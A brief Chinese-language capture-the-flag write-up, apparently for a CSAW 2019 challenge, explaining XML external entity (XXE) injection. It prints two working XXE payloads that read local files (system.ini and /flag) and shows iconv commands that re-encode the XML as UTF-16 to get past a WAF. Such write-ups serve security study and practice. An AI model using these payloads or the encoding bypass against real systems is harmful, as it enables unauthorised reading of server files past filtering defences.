XXE的原理解释
https://www.bilibili.com/video/BV1Hi4y147ew?from=search&seid=5986897573531513171
XXE payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
解题
从信息提示我们可以知道要通过编写xml文件上传
即通过XXE编码转换成utf-16编码绕过
我们可以利用vim编辑xml文件(取名为2.xml)
构造payload如下:
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
发现有WAF。可以用编码绕过。
iconv -f utf8 -t utf16 1.xml -o 2.xml
iconv -f utf8 -t utf16 2.xml>1.xml